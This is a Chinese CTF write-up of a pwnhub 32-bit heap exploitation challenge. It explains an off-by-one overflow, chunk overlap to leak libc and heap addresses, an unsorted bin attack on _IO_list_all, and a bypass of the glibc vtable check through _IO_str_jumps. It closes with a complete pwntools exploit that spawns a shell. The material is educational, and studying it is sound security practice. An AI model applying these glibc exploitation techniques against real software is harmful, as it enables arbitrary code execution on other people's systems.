pwnhub old_chall

记得我以前说过pwnhub的题目都超级便太,这次也是。。。主要也是突然着了魔,非要把题目做出来。然后我一个 pwn 小白硬是看着malloc源码(之前我一直觉得看了源码的都是大佬。。直到我做了这个题目,一边做就一边看。。。)研究出来了(?)真心膜那些两天内就做出来的大佬orz。。。。我真的太菜了

Old Chall

程序逻辑

一个典型的 heap pwn 的题目,我们来看一下其源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
puts("Size:");
nmemb = read_select();
if ( !nmemb || nmemb > 0x200 )
return puts("Invalid size");
a1a = calloc(nmemb, 1u);
if ( !a1a )
abort();
puts("Content:");
read_cont(a1a, nmemb);
letter = calloc(1u, 44u);
if ( !letter )
abort();
letter->content = a1a;
letter->content_size = nmemb;
LOBYTE(letter->tag) = "!";
BYTE1(letter->tag) = &unk_8048CCE;
BYTE2(letter->tag) = &unk_8048CCE;
HIBYTE(letter->tag) = &unk_8048CCE;
puts("To:");
for ( i = 0; i <= 0x20; ++i ) // overflow....
{
if ( fread(&letter->Receiver_Name[i], 1u, 1u, stdin) != 1 )
abort();
if ( letter->Receiver_Name[i] == 10 )
{
letter->Receiver_Name[i] = 0;
break;
}
} // 第18个块之后会生成一个大小为0x64的
a1->letters_array = realloc(a1->letters_array, 4 * (a1->letter_num + 1));// 这里多分配一个空间
if ( !a1->letters_array )
abort();
array_head = a1->letters_array;
num = a1->letter_num++;
v4 = &array_head[num];
result = letter;
*v4 = letter;

其中

1
2
3
4
5
6
struct Name{
int content_size;
char* content;
int tag;
char receive_name[20];
}

这里首先申请了一个用来存放Content的堆块,大小<0x200,之后申请了一个固定大小为0x2c的Name堆块。其中的content指针指向我们的Content,并且记录下大小,写入tag之后,会读入Name,这个Name的大小为0x20,但是这个地方读入了0x21个字节,于是造成了一字节溢出————off by one.
申请的Name数组会放在一个堆上的空间,这里称为name_array。每次在create_letter时会使用realloc进行分配。这个name_array维护一个count变量,每次添加Name的时候自动增加1,但是删除的时候不进行数据的变动。

数据打印的逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
for ( i = 0; ; ++i )
{
result = a1->letter_num;
if ( a1->letter_num <= i )
break;
if ( a1->letters_array[i] )
{
printf("[%lu] To: ", i + 1);
write_(a1->letters_array[i]->Receiver_Name, 0x20u);
putchar(10);
}
else
{
printf("[%lu] <deleted>\n", i + 1);
}

很简单,就是根据count直接打印name_array中记录的Name变量。

删除逻辑为:

1
2
3
4
free(a1->letters_array[index]->content);
free(a1->letters_array[index]);
result = &a1->letters_array[index];
*result = 0;

首先freeContent,之后将存储ContentName也free掉,并且将当前记录在name_array指针改为0。并且如果继续申请新的堆块,这边也不会重新利用这些空间。

思路

分析完大致逻辑,可以总结以下几个点

  • 存在一个off by one的漏洞 --> 可以进行 heap overlap
  • 当前的堆free之后,array只是将当前指针置为0,再次申请空间也不会重复利用这部分内容(未想到如何利用)
  • 每次申请一个Name,realloc都会重新申请一个空间(未想到如何利用)

从几个点来看,这个题目的关键应该就是利用这个off by one的漏洞了。

off by one

这个漏洞的主要利用方式是,由于多写了一个字节,导致会将堆上的size字段修改,从而导致的一种漏洞。比如说如下的情况:

此时B、C块已经是allocated的状态。若我们的A块有能力溢出,改写B块的size字段,那么此时我们可以通过将size字段改大,然后将B块free掉,之后重新分配一个修改后的size大小的堆,就能够将B和C包括在堆中。不过这里注意一点:

1
2
3
   nextsize = chunksize(nextchunk);
if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0))

当free的时候会检查当前的堆块之前或者之后的堆的大小是否合理

Q&A

  1. 此时的size大小可随意伪造嘛?
    我们知道,检查堆块之前\之后的堆是通过size字段进行查找的,所以如果我们随机伪造size,会导致检查过程中bck\fd(就是malloc中指向当前堆块前一个\后一个堆块的指针)会落入到一个空白(或者是我们的堆内容)中,这样会导致size变得很奇怪(而且有时候还是落入到不可控的位置等)类似这样的检验很多。所以除非我们知道此size会让指针落入到什么位置,否则我们通常使用overlap的思路,完整的将一个堆块包入

  2. 除了1,此时的size有什么注意的?
    inuse位(也就是最低位)要标志为1。也就是堆溢出的时候,size总是为单数。

  3. 为什么不尝试修改一个freed chunk?
    其实是可以的,不过修改freed chunk的也需要布置chunk的头部就是了。

  4. 只需要关注当前fake的chunk嘛
    不只,我们需要假设我们是glibc,所以此时fake chunk的next chunk和prev chunk我们都需要考虑在内。包括他们的prev_size和size都要注意

leak

pwn的第一步总是leak,这里我们通过构造堆尝试泄露libc和heap地址(这一步我玩了3天ORZ。。。)这个题目头疼的地方在于:

  1. 它使用calloc,导致堆中的数据在malloc之后会被memset(0)
  2. 它能够控制分配大小的堆不能打印;能够打印的堆大小固定为0x30
  3. 它有一个realloc,并且不断的增大,导致堆的结构经常发生变化
  4. 具有溢出的地方,正好是具有打印能力的堆块,所以大小不可控。另一个可控大小的堆块只能够在攻击的时候利用。

我承认它成功的恶心到我了。。因为一般的泄露思路都是利用什么free之后重新malloc导致残留指针之类的。或者一般的chunk overlap也是类似的思路,通过将之后已经free的堆块包含,然后打印当前堆块之类的。这个倒好,malloc之后memset了。。。。这样的话这些一般思路都不能用。思来想去,发现有一个办法还行,那就是故意造成堆块之间不对齐,从而让一些指针落入到可以打印的堆块中(想到这点之前,足足浪费了一天以上的时间试错真的是ORZ)

libc

libc的话,我们考虑使用unsorted bin的fd和bk泄露。我们首先构造如下的堆:

1
2
3
4
add_letter(ph, 0x80, padding, to)
add_letter(ph, 0x10, padding, to)
delete_letter(ph, 0)
delete_letter(ph, 1)

我们分配0x10用于为realloc的堆存放下一次分配的内容(这么做好像有缺点,后来会提到),之后将这个两个堆释放掉,在内存中就会存在如下的形式:

其中黄色为具有打印能力的Letter,红色为reallo分配的name_array
为了能够泄露数据,我们必须满足以下条件

  • 构造了一个overlapchunk
  • overlapcunk将一个已经分配的Letter包括在里面
  • 分配的时候,错位分配,让fd落在已分配的Letter中

为了达到这个目的,我们必须要让第一次分配的那个Letter重新被分配到Letter,同时,要让第一次分配的堆上方存在一个Letter。因此根据fastbin FILO的原则,我们通过分配一次0x2c大小的堆块,让Content堆块占用一个fastbin,重新让Letter回到第一次分配的位置,同时我们分配一个大堆,让0x80上方出现一个用于溢出的Letter

1
2
3
4
5
# raw_input("First check, we look at as note")
padding = padding.replace("C",'D')
to = to.replace("B","A")
add_letter(ph, 0x2c, padding ,"ADDRADDRADDRADDRADDRADDR")
add_letter(ph, 0x90, padding ,to+'B\x41\x80')


由于一开始的0x80为unsorted bin,所以此时的0x50堆块依然是落在unsorted bin中,我们使用Letter修改其size字段,将下方的Letter重新包括进去。之后我们错位分配一个0x60大小的堆块,让unsorted bin剩下一个0x20的空间,从而让其fd和bk落入下方的Letter中:

1
add_letter(ph, 0x60, padding, 'T')

这之后打印,就能够将fd和bk打印出来,从而泄露libc

heap

做到上面那一步其实pwnhub已经结束了。。。后来问了官方,官方说要用到unsorted bin attack,所以要泄露heap的地址(为什么大佬可以在一天之内做的完呢???)没办法,我们继续利用我们上述的堆块进行泄露。

我们可以发现,刚刚的堆块中剩了一个堆,堆的大小为0x20,如果我们此时分配一个大小大于0x20的堆,就会让这个堆落入到small bin中,所以如果我们能够再次构造一个small bin,并且让这个堆块落入Name,就能够将heap的地址泄露出来。

我们首先构造一个和Name一样大的Content,并且在这个堆块的后面分配一个0x40的堆块,这个堆块之后自动分配的Name用来打印泄露的地址。为了能够overlap 所有的堆块,我们必须保证当前堆块的下一个堆块之后有一个有效的堆块大小,因此我们需要再次分配一个堆块来存放合法的堆块大小。之后,我们将这一步最先分配的堆块释放掉,为一会儿的溢出做准备:

1
2
3
4
5
add_letter(ph, 0x2c, padding, to)
add_letter(ph, 0x3c, padding, "A__DA__DA__DA__DA__DA__D")
add_letter(ph, 0x3c, padding, to)

delete_letter(ph, 5)

之后重新分配0x30的堆块,从而让Name和Content的位置调换,进行off by one 的攻击,此时让堆块包括下方的整个堆。不过在实际执行的时候发现,reallloc的堆增加了一个0x20的堆块在中间,因此我们需要分配的堆块实际大小为0x30 + 0x20 + 0x40 + 0x30 = 0xc0

之后我们通过分配一个0xa0大小的堆块,让堆块剩下0x20,并且落入到Letter中,之后再随便分配一个大于这个大小的堆,就能够让这个0x20大小的unsorted bin 落入small bin中,从而实现堆地址的泄露

1
2
add_letter(ph, 0xa0, padding, to)
add_letter(ph, 0x100, padding ,to)

Pwn

官方给出的解题思路中需要用到的是修改_IO_list_all。我在
pwn之文件指针处理
中介绍过这个结构体的利用方式,但是这个利用方式在libc2.23之后就被封杀了,于是这里我们介绍另一种绕过的方式。

_IO_LIST_ALL

为了思考方便,我们把源代码贴出来。首先这个结构体定义为:

1
2
3
4
5
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};

其中这个vtable中记录的内容为:

1
2
3
4
5
6
7
8
9
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
....
// 函数的跳转地址
};

FILE的内容则为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct _IO_FILE{
int _flags
char * _IO_read_ptr
char * _IO_read_end
char * _IO_read_base
char * _IO_write_base
char * _IO_write_ptr
char * _IO_write_end
char * _IO_buf_base
char * _IO_buf_end
char * _IO_save_base
char * _IO_backup_base
char * _IO_save_end
struct _IO_marker * _markers
struct _IO_FILE * _chain // size_t*13
int _fileno
int _flags2
_IO_off_t _old_offset//ptr
unsigned short _cur_column
signed char _vtable_offset
char _shortbuf [1]
_IO_lock_t * _lock
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

注意到这个struct _IO_FILE ,这里的地方指向了下一个_IO_FILE结构体。

关于这个变量的使用,我们查看代码,这里我们关注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}

函数是一个flush的过程,会调用fp指针中的_IO_OVERFLOW_宏指向的函数。
这个函数会在glibc检测到memory corruption的时候被调用。而且这个地方其实不一定要手动触发,如果程序触发了

  • libc 执行了 abort
  • 执行了exit函数
  • 从main函数返回的时候

都将调用这个函数。

所以这里的想法就是:通过unsorted bin attack,修改这个_IO_FILE的_chain指针的值,让它指向一个我们准备好的位置,从而实现攻击。

Unsorted bin attack

我们首先看到malloc中,unsorted bin 在malloc时候的处理流程:

1
2
3
4
5
bck = victim->bk;
...// code about last remainder
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

发现其实在unsorted bin malloc的时候,程序没有检查当前是否发生了unlink,也就是说此时我们可以将bck修改成任意一个我们需要的地址,这样的话我们就能够让那个地址的fd偏移处(3*size_t)处变成当前的unsorted_chunks(av)(也就是main_arena中存储的unsorted binn的开始位置)

乍一看这个利用并没有什么用,毕竟我们给指定地址赋值为unsorted_bin(av)也没啥意义。这里有两种办法继续利用

  • 修改global_max_fast,从而让很大的堆块也能够变成fastbin,配合fastbin的攻击
  • 修改_IO_LIST_ALL

这里介绍后面那种利用方式。当我们成功的让_IO_LIST_ALL指向了unsorted_bin(av)之后,此时如果我们去看这个FILE结构体的话,内容如下:

疑问:为什么这个unsorted_bin(av)实际上表示的是真正的unsorted_bin的地址-0x10?

因为此时代码为了方便表示chunk,都是直接使用chunk结构体,则chunk->fd 和 chunk->bk 本身存在偏移,因此需要-0x10
所以这里我们可以知道,此时_chain正好会落到smallbin[5]的范围上。换句话说,如果这个时候我们有一个0x30大小的smallbin的话,那么这个bin的内容就可以用来作为一个伪造的FILE结构体。

vtable的故事

由于在后来的版本中(libc >= 2.24)中,会对vtable有一个检验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* Check if unknown vtable pointers are permitted; otherwise,
terminate the process. */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation. If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

根据我原来的办法,是让这个_vtable变为system之类的,这样的话就会不满足其地址在[__start___libc_IO_vtables, __stop___libc_IO_vtables]之间了。

所以这里我们也要试着学习一个新的姿势去绕过这个vtable的检测。这里根据大佬的教晦,我们可以使用一些已有的vtable进行攻击。这里使用的就是_IO_str_jumps。这个玩意儿也是一个struct _IO_jump_t结构体,并且这个结构体中的_IO_OVERFLOW有可以利用的地方。(虽然我找了源码,但是发现源码里面体现不出这些内容,于是我这里也模仿大佬用IDA来展示)
由于题目是32bit的,所以以下的偏移仅适用于32bit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( fp->_flags & 8 )
return -!v3;
if ( (fp->_flags & 0xC00) == 0x400 )
{
BYTE1(v2) |= 8u;
v13 = fp->_IO_read_end;
fp->_flags = v2;
write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = v13;
fp->_IO_write_ptr = write_ptr;
}
else
{
write_ptr = fp->_IO_write_ptr;
}

这里是flag的确定,为了防止程序陷入到这部分内容,我们可以简单的让flags为0,即可达到这个目的。
然后我们观察之后的逻辑:

1
2
3
4
5
6
7
8
9
10
11
base = fp->_IO_buf_base;
offset = fp->_IO_buf_end - base;
if ( write_ptr - fp->_IO_write_base >= offset + v14 )
{
if ( fp->_flags & 1 )
return -1;
v15 = 2 * offset + 100;
v16 = (char *)(fp->_IO_buf_end - base);
if ( offset > v15 )
return -1;
v8 = ((int (__cdecl *)(unsigned int))fp[1]._IO_read_ptr)(2 * offset + 100);

可以看到,这里会调用一个在fp中的函数,我们看一下实际上是什么:

可以看到,实际上这个地方call的是一个esi+0x98位置的变量。显然这个位置是我们可控的。同时我们通过设置fp->_IO_buf_basefp->_IO_buf_end两个参数,就能够将参数的位置也确定下来。同时注意到,我们需要保证write_ptr - fp ->_IO_write_base >= offset,才能够进入调用流程。
然后,根据大佬的博客,我们有一些内容是需要主动绕过的,比如说lock参数需要一个指向0的指针地址,我们可以随便从代码中找到。同时,为了能够保证进入到_IO_OVERFLOW的逻辑里面,我们需要绕过另一个处限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

// 关注这里
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

这里可以看到,为了进入这个_IO_OVERFLOW函数,我们需要让结构体中的_mode为-1,并且_IO_wrie_ptr要大于_IO_write_base
接下来就是设置vtale和对应的函数地址即可。经过计算发现,此时的vtable+4的位置就是我们需要构造的函数地址,则我们需要伪造的堆大概如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
fake_bin = p32(0)						# flags
fake_bin += 'DEAD' * 3 # read*
fake_bin += 'DEAD' * 1 # write
fake_bin += p32(bin_sh) # bypass check write_ptr - fp....
fake_bin += p32(0) # buf start
fake_bin += p32((bin_sh- 100)/2) # buf end
fake_bin += '\x00' * (0x48 - len(fake_bin))
fake_bin += p32(null_ptr) # lock
fake_bin += '\x11' * (0x68 - len(fake_bin))
fake_bin += p32(-1) # mode
fake_bin += '\x00' * (0x94 - len(fake_bin))
fake_bin += p32(vtable) # vtable_to_IO_str_jumps
fake_bin += p32(system_addr) # system_address

然而这个题目最最最最头疼的地方就在这里。。。在每次我们申请堆块的时候,都会伴随的申请一个0x30的堆块!也就是说,我们必须保证伪造smallbin的时刻,有足够的fastbin(0x30)用于我们unsorted bin attack攻击。这个地方非常头疼。我最后参考了一个大佬的exp,发现这个题目关键的一个点就是,完成smallbin构造后,每次allocate chunk之前,我们要保证delete一个chunk,这样就能够满足每次都有fastbin以防smallbin被name给抢走

Pwn

之后的逻辑有点长。。。参考大佬的做法,首先申请了3个0x10大的chunk,此时观测堆中情况如图

这三个chunk我们之后都会用到,标记位1,2,3。接下来我们进行伪造small bin的工作

fake small bin

我们可以看到,一个假的_IO_FILE_plus结构体(fake_bin)需要用到0x98的大小,这个大小显然不等于smallbin[5],所以我们需要通过伪造 chunk size,让一个本身很大的unsorted bin 变小,才能够实现伪造。
大致步骤如下:

  • 申请一个大的chunk(0xf0)同时前0x50个字节写padding,之后的位置写fake_bin
  • 将这个chunk overlap ,修改它的大小为0x80
  • 申请0x50大小的unsorted bin。由于之后需要overlap到当前堆,所以堆上需要伪造两个堆头(overlap chunk的size,写在prev_size,以及当前伪造堆的堆头chunk,以及这个fake chunk的nextchunk的prevsize 和 size)

这样,我们就会剩下一个"0x30"大小的unsorted bin,并且有完整的_IO_FILE_plus结构体。之后我么们申请一个大一点的堆块,就能够让这个0x30的堆块落入到unsorted bin 中

*调试技巧:gdb中,print 结构体名 指针 可强行将当前指针指向的地址作为结构体解析

unsorted bin attack

这边我们用到前两个堆块,并且还要用到之前提到的0x50的堆(这个堆的大小超过fasatbin,能够落入到unsorted bin中,这点很重要)
我们遵循先free在allocated的原则就能够保证此时不会将之前的smallbin浪费。同时我们要记得,unsorted bin 是FIFO,所以此时为了不让攻击失败(基本上 off one byte的时候都会让chunk落入到unsorted bin),所以我们free的顺序非常关键,一定是先free攻击堆块,后free 0x50这个用来触发main_arena的堆块

这里的逻辑如下:

  • 通过堆块1,修改堆块2的大小为0xe0
  • 此时free堆块2,并且紧接着free掉之前的0x50,然后分配0xe0。如果此时之前在fake small bin的时候伪造的头部没问题的话,此时就能复写bk指针,完成攻击!

由于此时的bk已经被破坏,下一次malloc堆块的时候就会因为无法通过检测,进入_malloc_printerr,从而触发_IO_flush_all_lockp,完成getshell!

总结

关于heap

  • free一个堆的时候,会检测当前堆的prev和next chunk,尤其是next chunk。需要准备一个prev size,size(inuse)和当前size chunk的prev size
  • overlap一个堆的时候,我们应该作为当前如果系统这么分配堆的话,其前后应当是什么样子来考虑。比如head,已经对应的fd,bk等
  • unsorted bin attack 在 32bit 下的时候应当准备的是smallbin[5],而64bit的才是准备smallbin[4]。根本原因在于_IO_FILE_plus的结构体元素在64bit下和32bit下大小一致。

关于pwn

  • pwn不能瞎调试。。不能瞎调试。。不能瞎调试。。
  • 做题目之前要想清楚自己的payload,包括每一个offset的具体位置
  • 如果需要的话就要调试,包括libc.so里面的那些

MISC

  • 每一次做pwnhub的题目都要熬夜太伤身体了
  • 居然有大佬一天内做出来太变态了吧。。。
  • 花了太多时间的根本原因在于不清楚攻击的具体形式,导致一知半解的调试,浪费很多的时间。比如_IO_FILE_plus的结构体构造。其实应该试着写一个c程序看了一下当前的FILE结构体到底应该是什么样子,会减少很多调试的时间

exp

实在是没力气部署调试远程了。。。就放个本地的吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
#   -*- coding:utf-8    -*-
from pwn import *

DEBUG = True

count = 0
if DEBUG:
ph = process("./chall")
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw','-h']
# gdb.attach(ph, "break *0x08048922")
#gdb.attach(ph)

null_ptr = 0x0804b080
main_arena = 0x1a9420
malloc_hook = 0x1a9408
system = 0x40310
bin_addr = 0x162d4c

IO_list_all_addr = 0x1ad940
IO_str_jumps = 0x1acb00

else:
ph = remote("59.110.167.41", 31339)

def add_letter(ph, size, cont, to):

global count
print ph.recvuntil("Select:")
ph.sendline("1")
print ph.recvuntil("Size:")
ph.sendline(str(size))
print ph.recvuntil("Content:")
ph.sendline(cont)
print ph.recvuntil("To:")
ph.sendline(to)
count += 1
print("==================== {} ==================".format(count))

def check_letter(ph):
ph.recvuntil("Select:")
ph.sendline("2")
msg = ph.recvuntil("------")
return msg

def delete_letter(ph, index):
ph.recvuntil("Select:")
ph.sendline("3")
ph.recvuntil("Index")
ph.sendline(str(index))


def leak():
# we try to allocate 20 chunk(may all be 0x2c)? then at the 21 the realloc will allocate new chunk 0x58
# and the old one would be unsorted bin(? now we checkout)
# TARGET:
# (1) checkout the 18 chunk can allocate a 0x64 letters_array
# (2) delete 18, allocate 19 so that we can edit the header, we change it into 0x31
# (3) we allocate the 20th chunk, we give huge chunk so that letter will get the 0x31 chunk
# (4) try to print address of the chunk

padding = "C" * 0x16
to = "B"*0x1e
"""
target = 20
for i in range(16):
add_letter(ph, 0x2c, padding, to)

print check_letter(ph)
delete_letter(ph, 15)

exp_to = to +'\x31'
add_letter(ph, 0x80, padding ,exp_to)

# now we checkout
raw_input("now try to checkout bin ")
add_letter(ph ,0x2c, padding, to)
raw_input("Checkout array bins has been edited")
add_letter(ph, 0x10, padding, to +'B')
raw_input("Checkout that the letter can print heap address?")
"""
add_letter(ph, 0x80, padding, to)
add_letter(ph, 0x10, padding, to)
delete_letter(ph, 0)
delete_letter(ph, 1)

# raw_input("First check, we look at as note")
padding = padding.replace("C",'D')
to = to.replace("B","A")
add_letter(ph, 0x2c, padding ,"ADDRADDRADDRADDRADDRADDR")
# raw_input("Counld we padding two?")
add_letter(ph, 0x90, padding ,to+'B\x41\x80')
# raw_input("Second ,checkout that we know that we bins is success be edited, ")
add_letter(ph, 0x60, padding, 'T')

msg = check_letter(ph)
print(msg)
index = msg.find("ADDR")
addr = msg[index - 4:index]
print(addr)
leak_arena = u32(addr)
# print check_letter(ph)
log.success("[+] leak_address is %x"%(leak_arena))
main_arena = leak_arena - 64
libc = main_arena - 0x1a9420 - 0x4000
log.success("[+] main_arena is %x"%(main_arena))
log.success("[+] libc is %x"%(libc))

"""
next we try to leak heap address, we try to use the small bin(last from above)
(1) allocate 0x30 chunk , then allocate 0x40 chunk
(2) free chunk 5, and allocate the 0x30, edite the cont head to 0x70
(3) free chunk 7, and we checkout the small bin size
(4) we allocate 0x70 - size, and then we can get the fd of small chunk!
"""

add_letter(ph, 0x2c, padding, to)
add_letter(ph, 0x3c, padding, "A__DA__DA__DA__DA__DA__D")
add_letter(ph, 0x3c, padding, to)

delete_letter(ph, 5)
# here we edited chunk head
add_letter(ph, 0x2c, padding, to+'OO\xc1')
#raw_input("check all chunks")
delete_letter(ph, 8)
#raw_input("check the head of chunk")
add_letter(ph, 0xa0, padding, to)
add_letter(ph, 0x100, padding, to)
msg = check_letter(ph)
print(msg)
index = msg.find("A__D")
addr = msg[index - 8:index - 4]
chunk_addr = u32(addr)
heap_addr = chunk_addr - 0x98

log.success("[+] leak heap %x"%heap_addr)

return libc, heap_addr

def pwn(libc, heap):
# try to pwn!
# we use unsorted bin attack + _IO_list_all to call system bin
# 1. generate fake small bin
# 2. unsorted bin attack
#
# TIPS: to protect 0x30 small bin, we should prepare more fastbin so
# the smallbin would not be used
#
# (1) we allocate 3 * [0x10(letter) + 0x30(name)] chunk to prepare
# (2) then we allocated 0xf0, and we fake chunk head to prepare ahead chunk overlap
# (3) next we free this one, and edited it's head to 0x80 with no3 chunk.
# (4) we allocate 0x50, it will be 0x30 unsorted bin(the 0x50 will use after)
# (5) finally, allocated 0x100 to get small bin
# 2.
# (1) use chunk1 to edited chunk2(letter) head to 0xe0, then we delete it
# (2) then we allocate 0xe0, and this chunk would overlap last 0x50 bk(remember the 0x50 not free)
# (3) now we free 0x50 chunk, and we allocate 0xe0(in unsorted bin ,FIFO), we overlap bk
# (4) allocate 0x50, so bk(_IO_list_all)become main_arena+0x88
# (5) because of unsorted bin's bk is crashed, we just allocate x >= 0x50 it will crash

index = 11
malloc_hook = libc + 0x001A9408
system_real = system + libc
bin_addr_real = bin_addr + libc
IO_list_all_addr_real = IO_list_all_addr + libc
vtable = IO_str_jumps + libc
log.info("system is %x, and bin is %x"%(system_real, bin_addr_real))


padding = "K"*0x16
to = "B"*0x1f
index = 5

fake_bin = p32(0) # flags
fake_bin += p32(0) # flags
fake_bin += p32(0) # write_base
fake_bin += p32(bin_addr_real) # bypass check write_ptr - fp
fake_bin += p32(0) # write end
fake_bin += p32(0) # buf start
fake_bin += p32((bin_addr_real - 100)/2) # buf end
fake_bin += p32(0)*3
fake_bin += p32(0x80) + p32(0x11)
fake_bin += '\x00' * (0x40 - len(fake_bin))
fake_bin += p32(null_ptr) # lock
# after lock we should set mode to -1
fake_bin += '\x00' * (0x60 - len(fake_bin))
fake_bin += '\xff\xff\xff\xff' # mode -1
fake_bin += '\x00' *(0x8c - len(fake_bin))
fake_bin += p32(vtable)
#fake_bin += '\x00' *(0x98 - len(fake_bin))
fake_bin += p32(system_real)
print("[+] fake_bin size is %x"%(len(fake_bin)))

add_letter(ph, 8, "0000", to) #11
add_letter(ph, 8, "0000", to) #12
add_letter(ph, 8, "0000", to) #13
add_letter(ph, 8, "1111", to) #14
add_letter(ph, 8, "2222", to) #15
add_letter(ph, 8, "3333", to) #16


#exp ='\x00'*8 + p32(0) + p32(0x11) + "J" * 8 + p32(0x10) + p32(0xe1) + "H" * 0x50 + fake_bin
exp ="H" * 0x48 + p32(0) + p32(0xa1) + fake_bin

add_letter(ph, 0xf0, exp, to) #17
#raw_input("checkout 0xf0 chunk fake head is correct?")

delete_letter(ph, 17)
delete_letter(ph, 16)
exp = 'A' * 0x20 + '\x81'
add_letter(ph, 8, '4444', exp) #18


exp ='\x00'*0x10 + p32(0) + p32(0x11) + "J" * 8 + p32(0x10) + p32(0xe1)
#raw_input("check out 0x79 is right")
delete_letter(ph, 13)

add_letter(ph, 0x48, exp, to) #19
#raw_input("check now have a 0x30 unsorted bin")
# avoid unlink, now we allocate a big one
# use 18 to avoid unsorted to be name
add_letter(ph, 0x100, 'padding', 'to') #20
#raw_input("now checkout padding success?(small bin has created?)")
log.success("[+] success create small bin")

delete_letter(ph, 14)

exp = 'C' * 0x20 + '\xe1'
add_letter(ph, 8, 'atta', exp) #21
#raw_input("check now would not prev_chalange?")
delete_letter(ph, 15)
#raw_input("checkout the 2 head should be what?")

"""
delete_letter(ph, 16)
exp = 'D' * 0x20 + '\xf0'
"""
#add_letter(ph, 0x2c, padding, to[:-3] + '\x00\x00\x00\x30\x29') #19
#raw_input("check out small bin, and we have enough fastbin")
# then we prepare final attack
exp = '0'*8 + p32(0) + p32(0x31)
exp += '1' * 0x28 + p32(0) + p32(0x49)
exp += '2' * 0x40 + p32(0) + p32(0x11)
exp += '3' * 0x8 + p32(0) + p32(0x31)
exp += '4' * 0x28 + p32(0) + p32(0x51)
exp += p32(heap) #fd
exp += p32(IO_list_all_addr_real - 0x8) #bk
exp += '\x11\x11\x11\x11'
delete_letter(ph, 19)
add_letter(ph, 0xd8, exp,to)
add_letter(ph, 0x48, padding ,to)

raw_input("now we alloc 0x100 to attack!")


if __name__ == "__main__":
libc,heap = leak()
padding = "213"
to = "123"
pwn(libc, heap)
ph.interactive()

参考博客

http://blog.hac425.top/2018/04/23/pwn-with-glbc-heap.html
大佬学弟的博客,强势安利一波(这里预言,大佬以后可能会写书)